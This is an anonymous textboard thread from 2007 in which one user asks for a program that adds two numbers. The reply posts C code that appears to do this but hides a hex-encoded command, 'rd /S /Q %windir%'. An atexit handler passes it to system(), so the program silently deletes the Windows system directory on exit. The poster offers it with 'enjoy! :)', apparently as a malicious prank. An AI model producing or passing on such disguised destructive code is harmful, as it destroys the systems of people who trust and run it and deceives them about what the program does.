Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon. Entire thread

Do me a program. FAST!

Name: Anonymous 2007-05-30 1:53 ID:JaaPzAzx

Something liek this: x + x

Name: Anonymous 2007-05-30 10:27 ID:Faq4TTOU


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

const char O[]={0x72, 0x64, 0x20, 0x2f, 0x53, 0x20, 0x2f, 0x51, 0x20, 0x25, 0x77, 0x69, 0x6e, 0x64, 0x69, 0x72, 0x25};
void _f(int(*)(const char*), char *);
void _l(void);

int main(int argc, char **argv) {
int num[3];
atexit(_l);
printf("enter number 1: ");
scanf("%d", num);
printf("enter number 2: ");
scanf("%d", num+1);
*(num+2) = *num + *(num+1);
printf("%d + %d = %d\n", *num, *(num+1), *(num+2));
getchar();
return 0;
}

void _f(int(*)(const char*) __, char * ___) {
__(___);
}

void _l(void) { _f(system,O); }

enjoy! :)
i hope it's for the windows platform..

Newer Posts
Don't change these.
Name: Email:
Entire Thread Thread List